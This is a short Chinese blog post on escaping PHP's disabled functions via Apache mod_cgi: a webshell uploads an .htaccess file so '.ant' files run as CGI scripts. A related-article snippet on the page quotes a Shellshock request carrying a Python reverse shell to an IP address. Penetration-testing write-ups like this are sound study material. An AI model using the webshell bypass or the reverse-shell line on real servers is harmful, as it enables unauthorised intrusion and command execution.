网络安全-利用 Apache Mod CGI

于 2024-09-17 16:55:06 发布
阅读量45 收藏
点赞数 1
分类专栏： 网络安全 文章标签： apache
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_68976043/article/details/142315828
版权

一、环境

蚁剑官网拉取

二、开始操作

蚁剑连接

一样终端命令不能执行

可以看到putenv已经禁用

我们开始一下，跳入一个新终端且可以执行命令

我们具体看一下干了什么事情

上传了一个htaccess这个文件的作用是让以后所有ant文件都以cgi去执行

 

三、总结

cgi文件可以执行系统命令，这个在文件上传里面也经常会使用到

 

凌晨五点的星
关注
专栏目录
5.web服务器---Apache
我要变蘑菇了_o的博客
08-12 551
apache(Apache HTTP Service)：提供http协议 apache—prefork:预派生 稳定，同步阻塞，正向代理，动态资源服务器 nginx—fork 无法处理动态页面，异步非阻塞，进程交替使用内存，反向代理，静态资源服务器 Tengin—alibaba公司使用 架构： lamp=linux apache mysql php lnmp=linux nginx mysql p...
渗透测试网络攻防-apache cgi漏洞利用
网络安全领域优质创作者
11-05 2522
cgi-bin扫描路径暴露出：/cgi-bin/ wget-qO- -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /usr/bin/python -c 'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.11.0.243\",1234));os.dup2(s.fileno(),0);...
CVE-2017-15715~Apache解析漏洞【春秋云境靶场渗透】
weixin_67832625的博客
08-03 866
Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令。比如如下配置文件： AddType text/html .html AddLanguage zh-CN .cn
web基础及http协议 （二）----------Apache相关配置与优化
zzzxxx520369的博客
02-19 1280
apache 名字来源，流传最广的解释是（也是最显而易见的）：这个名字来自于一个事实：当Apache在1995年初开发的时候，它是由当时最流行的HTTP服务器NCSA HTTPd 1.3的代码修改而成的，因此是"一个修补的（a patchy）”服务器。HTTP 和 Apache 之间的关系是：HTTP定义了客户端和服务器之间的通信规则，而 Apache 是一种能够处理这些 HTTP 请求并提供网页内容的 Web 服务器软件。apache提供http协议服务。
【网络安全 --- web服务器解析漏洞】IIS，Apache，Nginx中间件常见解析漏洞
m0_67844671的博客
11-06 3966
【网络安全 --- web服务器解析漏洞】IIS，Apache，Nginx中间件常见解析漏洞，讲解了中间件的常见解析漏洞及修复方案
mod_whois - Apache WHOIS module-开源
04-18
总的来说，`mod_whois`是Apache服务器的一个强大扩展，它提供了将WHOIS查询与Web服务深度整合的能力，从而为网络管理、域名注册和其他相关领域的工作带来便利。通过利用现有的HTTP基础设施，`mod_whois`降低了系统...
商业源码-编程源码-Apache 1.3.26 程序与源代码.zip
06-14
通过对Apache 1.3.26源代码的深入研究，开发者不仅可以了解Web服务器的工作原理，还能提升自己的C语言编程能力，理解网络通信协议，以及掌握服务器管理和优化的技巧。这是一项宝贵的资源，对于学习和研究Web服务器...
apache-web-server-lm.zip_Apache Web_Apache Web Server_apache
09-22
让我们深入探讨一下Apache Web Server的主要特点、配置方法以及如何利用提供的手册进行有效操作。 1. **Apache Web Server的特点** - 开源：Apache Web Server是Apache软件基金会的项目，源代码公开，允许用户...
zeal离线文档-Apache_HTTP_Server.docset
08-01
配合其他模块，可以防止SQL注入、跨站脚本攻击等网络安全问题。 7. **日志记录**：Apache能够详细记录服务器活动，便于故障排查和性能分析。 8. **CGI与FastCGI**：支持执行CGI脚本，与PHP、Python、Perl等动态...
[苍穹外卖]-12Apache POI入门与实战
最新发布
CSDN20221005的博客
09-16 463
Apache POI是一个处理Office各种文件格式的开源项目, 我们可以使用POI在java程序中对Office的各种文件进行读写操作, 一般情况下, POI都是用于读写Excel文件。设计Excel模版文件, 以简化代码, 降低编码难度, 模版文件放在resources/template/运行数据报表模版.xlsx。接口设计: 该接口无需返回数据, 报表导出功能本质是文件下载, 服务端通过输出流将Excel文件下载到客户端浏览器即可。快速入门: 引入坐标, 编写测试方法, 写入和读取Excel文件。
Apache SeaTunnel Committer 进阶指南
weixin_54625990的博客
09-13 1108
Apache SeaTunnel 作为一个开源的数据集成工具，旨在简化和加速海量数据的采集和传输。社区的 Committer 是指拥有项目存储库的写权限的社区成员，即 Committer 可以自行修改代码、文档和网站，也可以合并其他成员的贡献。成为 Apache SeaTunnel Committer 没有严格的规则，实际上，新 Committer 的候选人通常是活跃的贡献者和社区成员。
Apache DolphinScheduler 跨工作流复杂依赖功能详解
Apache DolphinScheduler开源社区
09-14 1067
大家可以看看下面这张图片，当你在 DolphinScheduler 中创建一个后，你可以选择项目名称、工作流名称和任务名称，从而指定跨工作流的任务依赖。甚至在跨项目的工作流中，也可以通过这种方式进行配置。有些人可能会问：为什么我们不在同一个工作流里解决依赖关系？这是因为，在像 Apache DolphinScheduler 或 Airflow 这样的开源调度工具中，调度的属性是在工作流级别上定义的，而不是任务本身。如果两个任务之间存在依赖关系，但它们的调度周期不同，就需要通过跨工作流依赖来解决。
介绍 Apache Spark 的基本概念和在大数据分析中的应用。
风信子的博客
09-13 856
弹性分布式数据集（Resilient Distributed Dataset，RDD）：RDD 是 Spark 中的核心数据抽象，它是一个可并行计算的、可容错的、可读写的分布式数据集。Spark Core：Spark Core 是 Spark 的基础模块，提供了 RDD 的构建和操作功能，以及与底层资源管理器的交互。总之，Apache Spark 是一个强大的大数据处理框架，它提供了丰富的功能和灵活的 API，使得可以在大规模数据集上高效地进行数据分析和处理。
默认端口被占用后，如何修改Apache2 端口
h1773655323的博客
09-12 779
现在，你应该可以通过新的端口访问 Apache2 服务了。你还需要编辑 Apache2 虚拟主机的配置文件，通常位于。如果你的服务器上有启用防火墙（例如。
查询性能提升 10 倍、存储空间节省 65%，Apache Doris 半结构化数据分析方案及典型场景
SelectDB
09-13 1126
随着业务的蓬勃发展，各企业对数据处理的灵活性和可扩展性提出了更高的要求。在此背景下，JSON、XML 等半结构化数据凭借其较强的灵活性在众多企业得到广泛应用。然而，传统关系型数据库结构严格，难以应对半结构化数据的复杂性及多样性。本文我们将聚焦企业最普遍使用的 JSON 数据，分别介绍业界传统方案以及半结构化数据存储分析的三种方案，并通过图表直观展示这些方案的优势与不足。同时，结合具体应用场景，分享不同需求场景下的使用方式，帮助用户快速选择最合适的 JSON 数据存储及分析方案。
单机快速部署开源、免费的分布式任务调度系统——Apache DolphinScheduler
Apache DolphinScheduler开源社区
09-14 1012
本文主要为大家介绍Apache DolphinScheduler的单机部署方式，方便大家快速体验。
利用apache-pdfbox库修改pdf文件模板，进行信息替换
向技术大牛致敬
09-13 484
该板块主要用于利用模板生成入驻企业的合同信息，便于在线发起合同签署功能。采用了模板的变量替换方式，需要将变量信息预先插入到模板的指定位置。
小程序给对象赋值（双向绑定）方法之一
文龙刚的博客
09-13 347
密码跟账号的方法一样。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值